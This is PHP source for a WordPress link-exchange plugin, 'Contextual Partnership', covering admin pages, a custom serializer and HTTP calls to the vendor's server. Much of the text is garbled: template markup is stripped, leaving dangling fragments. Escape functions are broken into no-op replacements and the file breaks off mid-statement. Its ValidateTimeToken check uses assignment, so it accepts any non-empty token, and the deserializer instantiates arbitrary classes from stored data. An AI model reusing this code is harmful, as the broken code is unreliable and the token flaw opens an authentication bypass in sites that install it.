define("CONST_FD_SERIALIZATION_RESPONSE_TYPE_NORMAL",0); define("CONST_FD_SERIALIZATION_RESPONSE_TYPE_ERROR",1); define("CONST_FD_SERIALIZATION_VALUE_KIND_INTEGER",0); define("CONST_FD_SERIALIZATION_VALUE_KIND_BOOLEAN",1); define("CONST_FD_SERIALIZATION_VALUE_KIND_FLOAT",2); define("CONST_FD_SERIALIZATION_VALUE_KIND_STRING",3); define("CONST_FD_SERIALIZATION_VALUE_KIND_ARRAY",4); define("CONST_FD_SERIALIZATION_VALUE_KIND_OBJECT",5); define("CXP_CONTEXTLINK_TOTAL",10); define("CXP_MODERATION_STATE_NEUTRAL",0); define("CXP_MODERATION_STATE_APPROVED",1); define("CXP_MODERATION_STATE_DECLINED",2); $cxp_config["server_address"] = "http://www.contextualpartnership.com/cxp/entry.php"; $cxp_config["version"] = "1.0.00"; //$cxp_config["server_address"] = "http://localhost/cxp/entry.php"; $hook = new TCXPHook_PostControl();$hook->Register(); $hook = new TCXPHook_ContentFilter();$hook->Register(); $hook = new TCXPHook_Communicator();$hook->Register(); class TFD_General { function GenerateRandomString($count) { $ret = ""; $table = "abcdefghijklmnopqrstuvwxyz0123456789"; for($i=0;$i<$count;$i++) $ret.= $table[rand(0,strlen($table)-1)]; return $ret; } } class TFDResource_Map { static public $map = array( 'TFDWPComponent_Plugin_Page_Box'=>array( 'subbox_bottom.jpg'=>array('resources/0.jpg','D:/wwwrootreal/wordpress/wp-content/plugins/CXPPLUGIN/resources/0.jpg'), 'subbox_bottomleft.jpg'=>array('resources/1.jpg','D:/wwwrootreal/wordpress/wp-content/plugins/CXPPLUGIN/resources/1.jpg'), 'subbox_bottomright.jpg'=>array('resources/2.jpg','D:/wwwrootreal/wordpress/wp-content/plugins/CXPPLUGIN/resources/2.jpg'), 'subbox_left.jpg'=>array('resources/3.jpg','D:/wwwrootreal/wordpress/wp-content/plugins/CXPPLUGIN/resources/3.jpg'), 'subbox_right.jpg'=>array('resources/4.jpg','D:/wwwrootreal/wordpress/wp-content/plugins/CXPPLUGIN/resources/4.jpg'), 'subtitle_left.jpg'=>array('resources/5.jpg','D:/wwwrootreal/wordpress/wp-content/plugins/CXPPLUGIN/resources/5.jpg'), 'subtitle_middle.jpg'=>array('resources/6.jpg','D:/wwwrootreal/wordpress/wp-content/plugins/CXPPLUGIN/resources/6.jpg'), 'subtitle_right.jpg'=>array('resources/7.jpg','D:/wwwrootreal/wordpress/wp-content/plugins/CXPPLUGIN/resources/7.jpg') ) ); function Get($classname,$identifier,$islocal) { global $config_fundamentaldesign; while(true) { if (isset(TFDResource_Map::$map[$classname])) if (isset(TFDResource_Map::$map[$classname][$identifier])) return ((!$islocal)?$config_fundamentaldesign["paths"]["gap"]:"").TFDResource_Map::$map[$classname][$identifier][$islocal?1:0]; $classname = get_parent_class($classname); if ($classname===false) return ""; } } } class TFDBase { var $fd_var_array_ids = array(); function TFDBase() { $this->BeforeInitialize(); $this->Initialize(); $this->AfterInitialize(); } function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function BeforeInitialize() { } function Initialize() { } function AfterInitialize() { } } class TFDWeb_Component extends TFDBase { var $fd_var_array_ids = array(); function ToString() { return $this->Generate(); } function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } var $fd_var_array_children = array(); function child_Connect($name,$class,$reciprocal,$overwrite = false) { $object = $this->child_Create($class); if ($object==null) return null; if ((!isset($this->fd_var_array_children[$name])) || ($overwrite)) { $this->fd_var_array_children[$name] = $object; } else { $this->fd_var_array_children[$name]->list_Add($object); } if ($reciprocal!="") $object->child_Connect($reciprocal,$this,"",true); return $object; } function child_Get($name) { return isset($this->fd_var_array_children[$name])?$this->fd_var_array_children[$name]:null; } function child_Create($class) { if (is_object($class)) { return $class; } else if (is_string($class)) { if (class_exists($class)) return new $class(); return null; } } var $fd_var_pointer = null; function list_Add($object) { $this->list_Last()->fd_var_pointer = $object; } function list_Count($history = array()) { $history[] = $this; if ($this->fd_var_pointer==null) return 1; if (in_array($this->fd_var_pointer,$history)) return 1; return 1+$this->fd_var_pointer->list_Count($history); } function list_Get($index,$history = array()) { $history[] = $this; if ($index<0) return null; if ($index==0) return $this; if ($this->fd_var_pointer==null) return null; if (in_array($this->fd_var_pointer,$history)) return null; return $this->fd_var_pointer->list_Get($index-1,$history); } function list_Last($history = array()) { $history[] = $this; if ($this->fd_var_pointer==null) return $this; if (in_array($this->fd_var_pointer,$history)) return $this; return $this->fd_var_pointer->list_Last($history); } function list_All($history = array()) { $history[] = $this; if ($this->fd_var_pointer==null) return $history; if (in_array($this->fd_var_pointer,$history)) return $history; return $this->fd_var_pointer->list_All($history); } var $fd_var_array_properties = array(); function property_Add($name,$default,$interface = null) { $property = new TFDWeb_Component_Property(); $property->name = $name; $property->default = $default; $property->interface = $interface; $this->fd_var_array_properties[] = $property; $this->$name = $default; } function Generate() { } } class TFDWPComponent extends TFDWeb_Component { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } } class TFDWPComponent_Plugin_Page extends TFDWPComponent { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } var $fd_var_identifer = ""; function SetIdentifier($first = false) { $settings = $this->child_Get("plugin")->child_Get("settings"); $this->fd_var_identifer = (($first)?TFDWPComponent_Plugin::GetRelativePath():$settings->prefix."page_".TFDGeneral::IdentififyString($this->title)); } function GetFullTitle() { $settings = $this->child_Get("plugin")->child_Get("settings"); return $settings->title." - ".$this->title; } function Entry() { $plugin = $this->child_Get("plugin"); $plugin->currentpage = $this; $plugin->Entry(); } function GetUrl() { $ar = explode("?",$_SERVER['REQUEST_URI'],2); if (count($ar)!=2) return $_SERVER['REQUEST_URI']."?page=".urlencode($this->fd_var_identifer); return $ar[0]."?page=".urlencode($this->fd_var_identifer); $ar2 = explode("&",$ar[1]); $args = array(); foreach($ar2 as $tmp) { $ar3 = explode("=",$tmp,2); if (count($ar3)==2) $args[$ar3[0]] = $ar3[1]; } $args["page"] = urlencode($this->fd_var_identifer); $ar4 = array(); foreach($args as $key=>$value) $ar4[] = $key."=".$value; return $ar[0]."?".implode("&",$ar4); } function BeforeInitialize() { parent::BeforeInitialize(); $this->property_Add("title",""); } function RegisterPage($first) { global $config_fundamentaldesign; $parent = isset($config_fundamentaldesign["paths"]["parent"])?$config_fundamentaldesign["paths"]["parent"]:""; $this->SetIdentifier($first); add_submenu_page($parent,$this->GetFullTitle(),$this->title, 8, $this->fd_var_identifer, array(&$this,"Entry")); } function Contents() { } function BeforeShow() { } function Generate() { ob_start(); ?>

GetFullTitle()); ?>

child_Get("plugin")->child_Get("menus"); if ($menus!=null) { $menus = $menus->list_All(); $parts = array(); foreach($menus as $menu) $parts[] = $menu->ToString(); echo(implode(" | ",$parts)); } ?>
Contents()); ?>
/i',array($this,"fd_getNewId"),ob_get_clean()); }} class TFDWPComponent_Plugin_Settings extends TFDWPComponent { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function BeforeInitialize() { parent::BeforeInitialize(); $this->property_Add("title",""); $this->property_Add("prefix",""); } } class TFDWPComponent_Plugin_Page_Box extends TFDWPComponent { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function BeforeInitialize() { parent::BeforeInitialize(); $this->property_Add("title",""); $this->property_Add("width",500); $this->property_Add("contents",""); } function Contents() { return $this->contents; } function Generate() { ob_start(); ?>
title) ?>
Contents()); ?>
/i',array($this,"fd_getNewId"),ob_get_clean()); }} class TFDWPComponent_Plugin extends TFDWPComponent { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function SetSettings($class) { return $this->child_Connect("settings",$class,"plugin",true); } function AddMenu($class) { return $this->child_Connect("menus",$class,"plugin"); } function AddPage($class) { return $this->child_Connect("pages",$class,"plugin"); } function Entry() { if ($this->currentpage!=null) { $this->currentpage->BeforeShow(); echo($this->currentpage->ToString()); } } function BeforeInitialize() { parent::BeforeInitialize(); $this->property_Add("currentpage",null); add_action('admin_menu',array(&$this, 'Register_Menus')); add_action('admin_head',array(&$this, 'Register_Head')); } function Register_Menus() { $settings = $this->child_Get("settings"); add_menu_page($settings->title,$settings->title, 8, TFDWPComponent_Plugin::GetRelativePath()); $pages = $this->child_Get("pages"); if ($pages!=null) { $first = true; foreach($pages->list_All() as $page) { $page->RegisterPage($first); $first = false; } } } function Register_Head() { $styles = $this->Styles(); if ($styles!="") { ?> fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } } class TFDWPComponent_Plugin_Menu extends TFDWPComponent { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function ConnectToPage($page) { $this->title = $page->title; $this->target = $page; } function BeforeInitialize() { parent::BeforeInitialize(); $this->property_Add("title",""); $this->property_Add("target",""); } function Generate() { ob_start(); ?>child_Get("plugin")->currentpage; $stlye = "text-decoration:none"; ?> target)) { ?> title); ?> target)) { if ($this->target==$currentpage) { echo($this->title); } else { ?> title); ?> /i',array($this,"fd_getNewId"),ob_get_clean()); }} class TFDGeneral { var $fd_var_array_ids = array(); function TFDBase() { $this->BeforeInitialize(); $this->Initialize(); $this->AfterInitialize(); } function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function Array_To_HashableCode($array) { $ret = ""; foreach($array as $name=>$value) $ret.=$name."_".$value."_"; return $ret; } function GetSizeDisplay($value) { if ($value<1024) { return $value."B"; } else if ($value<1024*1024) { $sector = 1024; return (($value-($value%$sector))/$sector)."KB"; } else { $sector = 1024*1024; $m = ($value-($value%$sector))/$sector; $l = floor((($value%$sector)/$sector)*10); if ($l!=0) { return $m.".".$l."MB"; } else { return $m."MB"; } } } function GridEncode($grid) { if (!is_array($grid)) return ""; $ar = array(); foreach($grid as $array) $ar[] = TFDGeneral::GridEncodeLine($array); return implode(",",$ar); } function GridEncodeLine($array) { if (!is_array($array)) $array = array($array); $ar = array(); foreach($array as $value) $ar[] = TFDGeneral::GridEscape($value); return implode(":",$ar); } function GridDecodeLine($value) { $ar = explode(":",$value); $ret = array(); foreach($ar as $tmp) $ret[] = TFDGeneral::GridUnescape($tmp); return $ret; } function GridEscape($value) { $ret = $value; $ret = str_replace("&","&",$ret); $ret = str_replace(",","&com;",$ret); $ret = str_replace(":","&col;",$ret); $ret = str_replace("<","<",$ret); $ret = str_replace(">",">",$ret); return $ret; } function GridUnescape($value) { $ret = $value; $ret = str_replace(">",">",$ret); $ret = str_replace("<","<",$ret); $ret = str_replace("&col;",":",$ret); $ret = str_replace("&com;",",",$ret); $ret = str_replace("&","&",$ret); return $ret; } function GridDecode($value) { $ar = explode(",",$value); $ret = array(); foreach($ar as $tmp) $ret[] = TFDGeneral::GridDecodeLine($tmp); return $ret; } function NoCurl_Post_Request($url,$args) { $data = array(); foreach($args as $key=>$value) $data[] = $key."=".urlencode($value); $data = implode("&",$data); $params = array('http' => array("method" => "POST","content" => $data)); //$params = array('http' => array("method" => "GET")); $params['http']['header'] = "Content-type: application/x-www-form-urlencoded"; $ctx = stream_context_create($params); $response = @file_get_contents($url,false,$ctx); return $response; } function NoCurl_Post_Request_Sure($url,$args,$attempts = 3,$sure = array("open"=>"","close"=>"")) { for($i=0;$i<$attempts;$i++) { $stream = TFDGeneral::NoCurl_Post_Request($url,$args); //echo($stream); if (TFDGeneral::EasyParse($stream,$sure["open"],$sure["close"],$ret)) return $ret; } return false; } function NoCurl_Get_Request($url) { $params = array('http' => array("method" => "GET")); $params['http']['header'] = "Content-type: application/x-www-form-urlencoded"; $ctx = stream_context_create($params); $response = @file_get_contents($url,false,$ctx); return $response; } function NoCurl_Get_Request_Sure($url,$attempts = 3,$sure = array("open"=>"","close"=>"")) { for($i=0;$i<$attempts;$i++) { $stream = TFDGeneral::NoCurl_Get_Request($url); if (TFDGeneral::EasyParse($stream,$sure["open"],$sure["close"],$ret)) return $ret; } return false; } function CopyObject($from,$to) { foreach($from as $key=>$value) $to->$key = $value; } function GetParam($array,$name) { return (isset($array[$name])?$array[$name]:""); } function IdentififyString($value) { $ret = ""; $table = "/[0-9a-zA-Z]/"; for($i=0;$i","",$value); return str_replace("<"."?php","<\".\"?php",$value); } function EasyParse($value,$searchB,$searchE,&$return) { $return = ""; $r = strpos($value,$searchB); if ($r===false) return false; $r+=strlen($searchB); $e = strpos($value,$searchE,$r); if ($e===false) return false; $return = substr($value,$r,$e-$r); return true; } function RegExStrPos($value,$search,&$return,$offset = 0) { $value = substr($value,$offset); $pattern = "/".str_replace("/","\\/",$search)."/i"; $return = ""; if (preg_match($pattern,$value,$matches)) { $return = $matches[0]; return strpos($value,$return)+$offset; } else { return false; } } function RegExEasyParse($value,$searchB,$searchE,&$return) { $return = ""; $r = TFDGeneral::RegExStrPos($value,$searchB,$tmp); if ($r===false) return false; $b = $r+strlen($tmp); $r = TFDGeneral::RegExStrPos($value,$searchE,$tmp,$b); if ($r===false) return false; $return = substr($value,$b,$r-$b); return true; /* $pattern = "/".str_replace("/","\\/",$searchB)."((?:[^e]|e)*?)".str_replace("/","\\/",$searchE)."/i"; if (preg_match($pattern,$value,$matches)) { $return = $matches[1]; return true; } else { return false; } */ } function RegExEasyMulti($value,$searchB,$searchE) { $ret = array(); $r = 0; while(true) { $r = TFDGeneral::RegExStrPos($value,$searchB,$tmp,$r); if ($r===false) return $ret; $b = $r+strlen($tmp); $r = TFDGeneral::RegExStrPos($value,$searchE,$tmp,$b); if ($r===false) return $ret; $ret[] = substr($value,$b,$r-$b); $r+=strlen($tmp); } /* $pattern = "/".str_replace("/","\\/",$searchB)."((?:[^e]|e)*?)".str_replace("/","\\/",$searchE)."/i"; var_dump($pattern); var_dump($value); if (preg_match_all($pattern,$value,$matches)) { return $matches[1]; } else { return array(); } */ } function GetPeriodDisplay($seconds) { $s = $seconds%60; $minutes = ($seconds-$s)/60; $m = $minutes%60; $h = ($minutes-$m)/60; if ($s<10) $s="0".$s; if ($m<10) $m="0".$m; if ($h<10) $h="0".$h; return "{$h}h {$m}m {$s}s"; } function ValidateTimeToken($token,$key) { if ($token=="") return false; $ct = time(); for($i=0;$i<=30;$i++) { if ($token=md5($key.($ct-$i))) return true; } return false; } function GenerateTimeToken($key) { return md5($key.time()); } function AddParamsToUrl($url,$params) { $r = strpos($url,"?"); if ($r===false) { $args = $params; $furl = $url; } else { $furl = substr($url,0,$r); $tmp = substr($url,$r+1); $tmpar = explode("&",$tmp); $args = array(); foreach($tmpar as $tmp) { $ar = explode("=",$tmp,2); if (count($ar)==2) $args[$ar[0]] = urldecode($ar[1]); } foreach($params as $name=>$value) $args[$name] = $value; } if (count($args)==0) return $furl; $ret = $furl."?"; $ar = array(); foreach($args as $name=>$value) $ar[] = $name."=".urlencode($value); $ret = $ret.implode("&",$ar); return $ret; } } class TFDWPGeneral { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function GetDomain() { $ar = parse_url(get_option('siteurl')); return isset($ar["host"])?$ar["host"]:"www.yourdomain.com"; } } class TFDWPOptions extends TFDBase { var $fd_var_array_ids = array(); function Load() { $option = get_option(get_class($this)); if ($option!==false) { $res = TFDSerialization::Parse($option); if ($res["type"]==CONST_FD_SERIALIZATION_RESPONSE_TYPE_NORMAL) { $value = $res["value"]; if ((is_object($value)) && ($value instanceof TFDWPOptions)) TFDGeneral::CopyObject($value,$this); } } } function Save() { update_option(get_class($this),TFDSerialization::Serialize($this)); } function Delete() { delete_option(get_class($this)); } function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } } class TFDSerialization { var $fd_var_array_ids = array(); var $t = 0; function Parse($stream) { return TFDSerialization::ParseValue($stream,0); } function GetEscape() { return "{}:\\"; } function ParseValue($stream,$pointer) { $res = TFDSerialization::SearchChar($stream,$pointer,"{"); if ($res["type"]==CONST_FD_SERIALIZATION_RESPONSE_TYPE_ERROR) return $res; $kind = $res["value"]; if (($kind!=CONST_FD_SERIALIZATION_VALUE_KIND_ARRAY) && ($kind!=CONST_FD_SERIALIZATION_VALUE_KIND_OBJECT)) { $pointer = $res["pointer"]+1; $res = TFDSerialization::SearchChar($stream,$pointer,"}"); if ($res["type"]==CONST_FD_SERIALIZATION_RESPONSE_TYPE_ERROR) return $res; $res["pointer"]++; if ($kind==CONST_FD_SERIALIZATION_VALUE_KIND_INTEGER) $res["value"] = (integer)$res["value"]; if ($kind==CONST_FD_SERIALIZATION_VALUE_KIND_BOOLEAN) $res["value"] = (boolean)$res["value"]; if ($kind==CONST_FD_SERIALIZATION_VALUE_KIND_FLOAT) $res["value"] = (float)$res["value"]; if ($kind==CONST_FD_SERIALIZATION_VALUE_KIND_STRING) $res["value"] = (string)$res["value"]; return $res; } else if ($kind==CONST_FD_SERIALIZATION_VALUE_KIND_ARRAY) { $array = array(); $pointer = $res["pointer"]+1; while(true) { if ($pointer>strlen($stream)-1) return TFDSerialization::FormulateResponse(CONST_FD_SERIALIZATION_RESPONSE_TYPE_ERROR,0,"","","Unexpected termination of Array"); if ($stream[$pointer]=="}") return TFDSerialization::FormulateResponse(CONST_FD_SERIALIZATION_RESPONSE_TYPE_NORMAL,$pointer+1,"",$array); $res = TFDSerialization::ParsePair($stream,$pointer); if ($res["type"]==CONST_FD_SERIALIZATION_RESPONSE_TYPE_ERROR) return $res; $pointer = $res["pointer"]; $array[$res["key"]] = $res["value"]; } } else if ($kind==CONST_FD_SERIALIZATION_VALUE_KIND_OBJECT) { $pointer = $res["pointer"]+1; $res = TFDSerialization::SearchChar($stream,$pointer,":"); if ($res["type"]==CONST_FD_SERIALIZATION_RESPONSE_TYPE_ERROR) return $res; $class = $res["value"]; $pointer = $res["pointer"]+1; if (!class_exists($class)) return TFDSerialization::FormulateResponse(CONST_FD_SERIALIZATION_RESPONSE_TYPE_ERROR,0,"","","Class '".$class."' does not exist at character ".$pointer); $object = new $class(true); while(true) { if ($pointer>strlen($stream)-1) return TFDSerialization::FormulateResponse(CONST_FD_SERIALIZATION_RESPONSE_TYPE_ERROR,0,"","","Unexpected termination of Object"); if ($stream[$pointer]=="}") return TFDSerialization::FormulateResponse(CONST_FD_SERIALIZATION_RESPONSE_TYPE_NORMAL,$pointer+1,"",$object); $res = TFDSerialization::ParsePair($stream,$pointer); if ($res["type"]==CONST_FD_SERIALIZATION_RESPONSE_TYPE_ERROR) return $res; $pointer = $res["pointer"]; $object->$res["key"] = $res["value"]; } } else { return TFDSerialization::FormulateResponse(CONST_FD_SERIALIZATION_RESPONSE_TYPE_ERROR,0,"","","Unknown kind '".$kind."' found at character ".$pointer); } } function ParsePair($stream,$pointer) { $res = TFDSerialization::SearchChar($stream,$pointer,":"); if ($res["type"]==CONST_FD_SERIALIZATION_RESPONSE_TYPE_ERROR) return $res; $key = $res["value"]; $pointer = $res["pointer"]+1; $res = TFDSerialization::ParseValue($stream,$pointer); if ($res["type"]==CONST_FD_SERIALIZATION_RESPONSE_TYPE_ERROR) return $res; return TFDSerialization::FormulateResponse(CONST_FD_SERIALIZATION_RESPONSE_TYPE_NORMAL,$res["pointer"],$key,$res["value"]); } function FormulateResponse($type,$pointer,$key,$value,$message = "") { $ret = array(); $ret["type"] = $type; $ret["pointer"] = $pointer; $ret["key"] = $key; $ret["value"] = $value; $ret["message"] = $message; return $ret; } function SearchChar($stream,$pointer,$search) { $escape = TFDSerialization::GetEscape(); $path = ""; for($i=$pointer;$i$val) $ret.=TFDSerialization::EscapeValue($key).":".TFDSerialization::Serialize($val); return $ret."}"; } else if (is_int($value)) { return CONST_FD_SERIALIZATION_VALUE_KIND_INTEGER."{".TFDSerialization::EscapeValue($value)."}"; } else if (is_bool($value)) { return CONST_FD_SERIALIZATION_VALUE_KIND_BOOLEAN."{".TFDSerialization::EscapeValue($value)."}"; } else if (is_float($value)) { return CONST_FD_SERIALIZATION_VALUE_KIND_FLOAT."{".TFDSerialization::EscapeValue($value)."}"; } else { return CONST_FD_SERIALIZATION_VALUE_KIND_STRING."{".TFDSerialization::EscapeValue($value)."}"; } } function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } } class TCXPComponent_Plugin extends TFDWPComponent_Plugin { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function Initialize() { $this->SetSettings("TCXPComponent_Plugin_Settings"); $page_dashboard = $this->AddPage("TCXPComponent_Plugin_Page_Dashboard"); $page_settings = $this->AddPage("TCXPComponent_Plugin_Page_Settings"); $options_register = new TCXPOptions_Register(); $options_register->Load(); if ($options_register->IsRegistered()) $page_uninstall = $this->AddPage("TCXPComponent_Plugin_Page_Uninstall"); $menu_dashboard = $this->AddMenu("TFDWPComponent_Plugin_Menu"); $menu_settings = $this->AddMenu("TFDWPComponent_Plugin_Menu"); if (isset($page_uninstall)) $menu_uninstall = $this->AddMenu("TFDWPComponent_Plugin_Menu"); $menu_help = $this->AddMenu("TFDWPComponent_Plugin_Menu"); $menu_networkhome = $this->AddMenu("TFDWPComponent_Plugin_Menu"); $menu_dashboard->ConnectToPage($page_dashboard); $menu_settings->ConnectToPage($page_settings); if (isset($page_uninstall)) $menu_uninstall->ConnectToPage($page_uninstall); $menu_help->title = "Help"; $menu_help->target = "http://www.contextualpartnership.com/documentation/"; $menu_networkhome->title = "Network Home"; $menu_networkhome->target = "http://www.contextualpartnership.com/"; } function Styles() { ob_start(); ?>div.cxp_error { color:#FF0000; font-weight:bold; } div.cxp_success { color:#0000FF; font-weight:bold; } div.cxp_info { color:#000000; font-weight:bold; } a.cxp_link { text-decoration:none; } div.cxp_news { font-size:12px; text-align:right; margin-bottom:15px; } /i',array($this,"fd_getNewId"),ob_get_clean()); }} class TCXPComponent_Plugin_Settings extends TFDWPComponent_Plugin_Settings { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function Initialize() { $this->title = "Contextual Partnership"; $this->prefix = "cxp_"; } } class TCXPComponent_Plugin_Page_Dashboard extends TFDWPComponent_Plugin_Page { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function Initialize() { $options["register"] = new TCXPOptions_Register(); $options["register"]->Load(); $options["stats"] = new TCXPOptions_Stats(); $options["stats"]->Load(); $options["news"] = new TCXPOptions_News(); $options["news"]->Load(); $this->property_Add("options",$options); $this->title = "Dashboard"; } function Box_News() { ob_start(); ?>
27 April 2009 - The partnership network is still in beta stage whilst we work to ensure the network can handle the increasing growth rate... more >>
28 April 2009 - The partnership network is still in beta stage whilst we work to ensure the network can handle the increasing growth rate... more >>
29 April 2009 - The partnership network is still in beta stage whilst we work to ensure the network can handle the increasing growth rate... more >>
/i',array($this,"fd_getNewId"),ob_get_clean()); } function Box_Statistics() { ob_start(); ?>child_Get("plugin")->child_Get("pages")->list_All(); $settingspage = $pages[1]; $uninstallpage = $pages[2]; $timesoptions = array("alltime"=>"All Time","thisday"=>"Today","last7days"=>"Last 7 Days","thismonth"=>"Current Month","lastmonth"=>"Last Month","last6months"=>"Last 6 Months","last12months"=>"Last 12 Months"); $statstime = isset($timesoptions[($tmp = TFDGeneral::GetParam($_POST,"statstime"))])?$tmp:"alltime"; ?> options["register"]->IsRegistered()) { ?>
The plugin has not been registered yet. Please Register to start using it.
Click here to Register
options["register"]->moderation_state==CXP_MODERATION_STATE_APPROVED) { ?>
Partner Since: options["register"]->timestamp)); ?>
Show Statistics For:
Points Earned (Links Given): options["stats"]->stats[$statstime]["earned"]); ?> (to options["stats"]->stats[$statstime]["earned_unique"]); ?> unique domains)
Points Redeemed (Links Received): options["stats"]->stats[$statstime]["redeemed"]); ?> (from options["stats"]->stats[$statstime]["redeemed_unique"]); ?> unique domains)
Average Outbound Links per Blog Post: options["stats"]->stats[$statstime]["average_outbound"]); ?>
Setup / Update Your Advertising links & Other Partnership Network Settings Here
options["register"]->moderation_state==CXP_MODERATION_STATE_NEUTRAL) { ?> Last we checked your blog was still pending moderation. Click here to check the status.
Unfortunately, your blog was not approved to be part of our network.
You can have your blog re-moderated in the future, but you will have to Uninstall it first and go through the registration process again. Note that if you are denied access several times, your domain name may be banned from the network indefinitely.
/i',array($this,"fd_getNewId"),ob_get_clean()); } function Contents() { ob_start(); ?>options["register"]->IsRegistered()) { if ($this->options["register"]->moderation_state==CXP_MODERATION_STATE_APPROVED) { $box_statistics->title = "Statistics"; } else if ($this->options["register"]->moderation_state==CXP_MODERATION_STATE_NEUTRAL) { $box_statistics->title = "Pending Moderation"; } else { $box_statistics->title = "Approval Denied"; } } else { $box_statistics->title = "Please Register"; } $box_statistics->width = 550; $box_statistics->contents = $this->Box_Statistics(); ?>
ToString()); ?> options["news"]->Generate()); ?>
/i',array($this,"fd_getNewId"),ob_get_clean()); }} class TCXPComponent_Plugin_Page_Settings extends TFDWPComponent_Plugin_Page { var $fd_var_array_ids = array(); function fd_getNewId($matches) { return ($this->fd_var_array_ids[$matches[1]] = TFD_General::GenerateRandomString(30)); } function fd_getResource($identifier,$islocal = false) { return TFDResource_Map::Get(((isset($this))?get_class($this):__CLASS__),$identifier,$islocal); } function Initialize() { $options["settings"] = new TCXPOptions_Settings(); $options["settings"]->Load(); $options["register"] = new TCXPOptions_Register(); $options["register"]->Load(); if ($options["register"]->IsRegistered()) { $this->title = "Settings"; } else { $this->title = "Register"; } $this->property_Add("options",$options); $this->property_Add("moderation",array()); $this->property_Add("showcore",true); $this->property_Add("error",false); $this->property_Add("success",false); $this->property_Add("registered",false); $this->property_Add("error_sub1",""); $this->property_Add("error_sub2",""); $this->property_Add("error_sub3",""); $this->property_Add("error_which",""); $this->property_Add("params",array("firstname"=>"","lastname"=>"","email"=>"","outbound"=>6,"cachelinks"=>0,"contextlinks"=>array(),"updateprevious"=>1)); } function OnPost() { foreach($this->params as $name=>$value) if (!is_array($this->params[$name])) $this->params[$name] = TFDGeneral::GetParam($_POST,$name); foreach($this->options["settings"] as $name=>$value) if (isset($_POST[$name])) $this->options["settings"]->$name = $_POST[$name]; for($i=0;$iparams["contextlinks"][$i]["url"] = TFDGeneral::GetParam($_POST,$urlname); $this->params["contextlinks"][$i]["keyword"] = TFDGeneral::GetParam($_POST,$keywordname); } $moderation_code = TFDGeneral::GetParam($_POST,"moderation_code"); if ($moderation_code!="") { $this->moderation["code"] = $moderation_code; $this->moderation["urls"] = array(); $this->moderation["answers"] = array(); $i = 0; while(isset($_POST["moderation_url_".$i])) { $this->moderation["urls"][] = TFDGeneral::GetParam($_POST,"moderation_url_".$i); $this->moderation["answers"][] = TFDGeneral::GetParam($_POST,"moderation_".$i); $i++; } foreach($this->moderation["answers"] as $answer) { if (($answer!="a") && ($answer!="d")) { $this->error = "Some of the fields provided were invalid (see below)"; $this->error_sub3 = "Please select a moderation decision for all partner blogs."; return; } } } $args_params = array("firstname","lastname","email","outbound","cachelinks","updateprevious"); for($i=0;$imoderation["answers"]); } if ($this->options["register"]->IsRegistered()) { if (isset($_POST["pastposts"])) if 